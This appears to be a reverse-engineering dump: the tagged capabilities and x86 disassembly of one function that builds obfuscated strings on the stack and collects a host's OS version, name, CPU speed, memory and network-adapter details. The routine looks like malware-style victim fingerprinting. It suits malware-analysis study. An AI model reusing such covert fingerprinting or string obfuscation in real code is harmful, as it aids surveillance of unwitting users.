Function at 0x401000
Capabilities:
Contain obfuscated stackstrings
Get hostname
Get networking interfaces
Identify system language via api
Link many functions at runtime
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x344
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push edi
push 0x407020
push 0x407088
call esi
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push eax
call edi
push str.GetVersionExA
push 0x407078
mov dword [esp + 0x88], eax
call esi
push eax
call edi
push 0x407010
push 0x407088
mov ebx, eax
call esi
push eax
call edi
push str.GetSystemInfo
push 0x407078
mov dword [esp + 0x74], eax
call esi
push eax
call edi
push str.GlobalMemoryStatusEx
push 0x407078
mov dword [esp + 0x90], eax
call esi
push eax
call edi
push str.RegQueryValueExA
push 0x407088
mov dword [esp + 0x94], eax
call esi
push eax
call edi
mov dword [esp + 0x7c], eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDefaultUILanguage]
mov ebp, dword [esp + 0x358]
and eax, 0xffff
mov ecx, 0x27
lea edi, [esp + 0xd0]
mov dword [ebp], eax
xor eax, eax
rep stosd dword es:[edi], eax
lea eax, [esp + 0xd0]
mov dword [esp + 0xd0], 0x9c
push eax
call ebx
xor ebx, ebx
mov cl, 0x32
mov al, 0x30
mov byte [esp + 0x28], 0x4e
mov byte [esp + 0x29], 0x54
mov byte [esp + 0x2a], bl
mov byte [esp + 0x38], cl
mov byte [esp + 0x39], al
mov byte [esp + 0x3a], al
mov byte [esp + 0x3b], al
mov byte [esp + 0x3c], bl
mov byte [esp + 0x14], 0x58
mov byte [esp + 0x15], 0x50
mov byte [esp + 0x16], bl
mov byte [esp + 0x40], cl
mov byte [esp + 0x41], al
mov byte [esp + 0x42], al
mov byte [esp + 0x43], 0x33
mov byte [esp + 0x44], bl
mov byte [esp + 0x48], 0x56
mov byte [esp + 0x49], 0x69
mov byte [esp + 0x4a], 0x73
mov byte [esp + 0x4b], 0x74
mov byte [esp + 0x4c], 0x61
mov byte [esp + 0x4d], bl
mov byte [esp + 0x20], cl
mov byte [esp + 0x21], al
mov dl, 0x38
mov byte [esp + 0x22], al
mov byte [esp + 0x23], dl
mov byte [esp + 0x53], dl
mov byte [esp + 0x2c], dl
mov byte [esp + 0x10], dl
mov edx, dword [esp + 0xd4]
mov byte [esp + 0x51], al
mov byte [esp + 0x52], al
mov byte [esp + 0x19], al
mov al, 0x31
cmp edx, 4
mov byte [esp + 0x24], bl
mov byte [esp + 0x30], 0x37
mov byte [esp + 0x31], bl
mov byte [esp + 0x50], cl
mov byte [esp + 0x54], 0x52
mov byte [esp + 0x55], cl
mov byte [esp + 0x56], bl
mov byte [esp + 0x2d], bl
mov byte [esp + 0x18], cl
mov byte [esp + 0x1a], al
mov byte [esp + 0x1b], cl
mov byte [esp + 0x1c], bl
mov byte [esp + 0x11], 0x2e
mov byte [esp + 0x12], al
mov byte [esp + 0x13], bl
ja 0x4011d8
lea edi, [esp + 0x28]
or ecx, 0xffffffff
xor eax, eax
lea esi, [ebp + 4]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x68], esi
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x68]
mov dword [0x407098], ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
cmp edx, 5
jne 0x40122b
mov eax, dword [esp + 0xd8]
cmp eax, ebx
jne 0x4011fb
mov dword [0x407098], 1
lea edi, [esp + 0x38]
jmp 0x4012c5
cmp eax, 1
jne 0x40120f
mov dword [0x407098], ebx
lea edi, [esp + 0x14]
jmp 0x4012c5
cmp eax, 2
jne 0x4012e5
mov dword [0x407098], 1
lea edi, [esp + 0x40]
jmp 0x4012c5
cmp edx, 6
jne 0x4012e5
mov eax, dword [esp + 0xd8]
cmp eax, ebx
jne 0x401265
cmp byte [esp + 0x16a], 1
jne 0x401255
mov dword [0x407098], ebx
lea edi, [esp + 0x48]
jmp 0x4012c5
mov dword [0x407098], 1
lea edi, [esp + 0x20]
jmp 0x4012c5
mov ecx, 1
cmp eax, ecx
jne 0x40128f
cmp byte [esp + 0x16a], cl
jne 0x401283
mov dword [0x407098], ebx
lea edi, [esp + 0x30]
jmp 0x4012c5
mov dword [0x407098], ecx
lea edi, [esp + 0x50]
jmp 0x4012c5
cmp eax, 2
jne 0x4012b6
cmp byte [esp + 0x16a], 1
jne 0x4012aa
mov dword [0x407098], ebx
lea edi, [esp + 0x2c]
jmp 0x4012c5
mov dword [0x407098], ecx
lea edi, [esp + 0x18]
jmp 0x4012c5
cmp eax, 3
jne 0x4012e5
mov dword [0x407098], ebx
lea edi, [esp + 0x10]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp + 4]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x164]
lea edx, [esp + 0x34]
and ecx, 0xffff
lea eax, [ebp + 4]
push ecx
push edx
push eax
lea eax, [esp + 0x1dc]
push str.__s__s_d
push eax
mov byte [esp + 0x48], 0x53
mov byte [esp + 0x49], 0x50
mov byte [esp + 0x4a], bl
call dword [sym.imp.MSVCRT.dll_sprintf]
lea edi, [esp + 0x1e4]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x14
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea eax, [esp + 0x84]
mov edx, ecx
mov esi, edi
lea edi, [ebp + 4]
push eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov dword [esp + 0x88], 0x40
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp + 0x44]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetComputerNameA]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x251]
mov byte [esp + 0x250], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edx, [esp + 0x250]
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push edx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
lea eax, [esp + 0x74]
lea ecx, [esp + 0x250]
push eax
push 0xf003f
push ebx
push ecx
push closesocket
call dword [esp + 0x80]
test eax, eax
jne 0x401464
lea edx, [esp + 0x6c]
lea eax, [esp + 0x78]
push edx
mov edx, dword [esp + 0x78]
lea ecx, [esp + 0x6c]
push eax
push ecx
push ebx
push str.MHz
push edx
mov dword [esp + 0x80], 4
mov dword [esp + 0x84], 0xc8
call dword [esp + 0x94]
mov eax, dword [esp + 0x74]
push eax
call dword [esp + 0x84]
lea ecx, [esp + 0x1ac]
push ecx
call dword [esp + 0x8c]
mov ecx, dword [esp + 0x78]
xor edx, edx
mov dword [esp + 0x90], edx
lea eax, [esp + 0x10]
mov dword [esp + 0x94], edx
push eax
mov word [esp + 0x9c], dx
mov edx, dword [esp + 0x1c4]
push ecx
push edx
lea eax, [esp + 0x9c]
push str._d_u_s
push eax
mov byte [esp + 0x24], 0x4d
mov byte [esp + 0x25], 0x48
mov byte [esp + 0x26], 0x7a
mov byte [esp + 0x27], bl
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
lea edi, [esp + 0x90]
jmp 0x4014b1
mov al, 0x20
mov byte [esp + 0x58], 0x46
mov byte [esp + 0x5c], al
mov byte [esp + 0x60], al
mov al, 0x72
mov byte [esp + 0x59], 0x69
mov byte [esp + 0x5a], 0x6e
mov byte [esp + 0x5b], 0x64
mov byte [esp + 0x5d], 0x43
mov byte [esp + 0x5e], 0x50
mov byte [esp + 0x5f], 0x55
mov byte [esp + 0x61], 0x45
mov byte [esp + 0x62], al
mov byte [esp + 0x63], al
mov byte [esp + 0x64], 0x6f
mov byte [esp + 0x65], al
mov byte [esp + 0x66], bl
lea edi, [esp + 0x58]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp + 0xe4]
mov eax, ecx
mov esi, edi
mov edi, edx
mov dword [esp + 0x16c], 0x40
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x16c]
push ecx
call dword [esp + 0x90]
mov eax, dword [esp + 0x174]
mov edx, dword [esp + 0x178]
mov ecx, 0x14
call fcn.00403930
add eax, 1
adc edx, ebx
push edx
push eax
lea edx, [ebp + 0xc4]
push str._u_MB
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
mov esi, dword [sym.imp.MSVCRT.dll_malloc]
push 0x280
mov dword [esp + 0x84], ebx
call esi
add esp, 0x14
mov edi, eax
lea eax, [esp + 0x70]
mov dword [esp + 0x14], edi
push eax
push edi
call sub.iphlpapi.dll_GetAdaptersInfo
cmp eax, 0x6f
jne 0x401563
push edi
call dword [sym.imp.MSVCRT.dll_free]
mov ecx, dword [esp + 0x74]
push ecx
call esi
add esp, 8
mov dword [esp + 0x14], eax
mov edi, eax
lea edx, [esp + 0x70]
push edx
push edi
call sub.iphlpapi.dll_GetAdaptersInfo
test eax, eax
jne 0x40175a
cmp edi, ebx
je 0x40175a
mov esi, str.0.0.0.0
add edi, 0x1d8
mov cl, byte [edi]
mov dl, byte [esi]
mov al, cl
cmp cl, dl
jne 0x4015b1
cmp al, bl
je 0x4015ad
mov dl, byte [edi + 1]
mov cl, byte [esi + 1]
mov al, dl
cmp dl, cl
jne 0x4015b1
add edi, 2
add esi, 2
cmp al, bl
jne 0x401589
xor eax, eax
jmp 0x4015b6
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
je 0x401746
lea eax, [esp + 0x10]
push 1
push eax
push ebx
mov dword [esp + 0x1c], ebx
call sub.iphlpapi.dll_GetIfTable
cmp eax, 0x7a
jne 0x401746
mov ecx, dword [esp + 0x10]
push ecx
call sub.MFC42.DLL_operatornew
mov esi, eax
add esp, 4
cmp esi, ebx
mov dword [esp + 0x30], esi
je 0x401746
lea edx, [esp + 0x10]
push 1
push edx
push esi
call sub.iphlpapi.dll_GetIfTable
test eax, eax
jne 0x40173d
mov edi, dword [sym.imp.KERNEL32.DLL_Sleep]
push ebx
call edi
mov eax, dword [esi]
mov dword [esp + 0x2c], ebx
cmp eax, ebx
jbe 0x40173d
add esi, 0x220
mov dword [esp + 0x28], esi
push ebx
call edi
cmp dword [esi + 4], ebx
je 0x40171a
cmp dword [esi], 2
je 0x40171a
push ebx
call edi
mov ecx, dword [esp + 0x14]
mov eax, dword [esi - 0x1c]
cmp eax, dword [ecx + 0x19c]
jne 0x40171a
push ebx
call edi
mov eax, 0x10624dd3
push ebx
mul dword [esi - 0x10]
shr edx, 6
mov eax, 0x10624dd3
mul edx
mov esi, edx
shr esi, 6
cmp esi, 0x3e8
jb 0x4016b0
call edi
lea edx, [esp + 0x18]
mov eax, 0x10624dd3
push edx
mul esi
shr edx, 6
push edx
lea eax, [esp + 0x98]
push str._u__s
mov byte [esp + 0x24], 0x47
mov byte [esp + 0x25], 0x62
mov byte [esp + 0x26], 0x70
mov byte [esp + 0x27], 0x73
mov byte [esp + 0x28], bl
push eax
jmp 0x4016dd
call edi
lea ecx, [esp + 0x20]
lea edx, [esp + 0x90]
push ecx
push esi
push str._u__s
mov byte [esp + 0x2c], 0x4d
mov byte [esp + 0x2d], 0x62
mov byte [esp + 0x2e], 0x70
mov byte [esp + 0x2f], 0x73
mov byte [esp + 0x30], bl
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
lea edi, [esp + 0xa0]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x10
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp + 0x104]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x28]
mov edi, dword [sym.imp.KERNEL32.DLL_Sleep]
mov ecx, dword [esp + 0x30]
mov eax, dword [esp + 0x2c]
inc eax
add esi, 0x35c
mov edx, dword [ecx]
mov dword [esp + 0x2c], eax
cmp eax, edx
mov dword [esp + 0x28], esi
jb 0x401629
mov esi, ecx
push esi
call sub.MFC42.DLL_operatordelete
add esp, 4
mov edx, dword [esp + 0x14]
mov eax, dword [edx]
cmp eax, ebx
mov dword [esp + 0x14], eax
mov edi, eax
jne 0x40157e
push edi
call dword [sym.imp.MSVCRT.dll_free]
mov eax, dword [0x407f90]
add esp, 4
cmp eax, ebx
jne 0x401778
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov dword [0x407f90], eax
pop edi
mov dword [ebp + 0x12c], eax
pop esi
pop ebp
pop ebx
add esp, 0x344
ret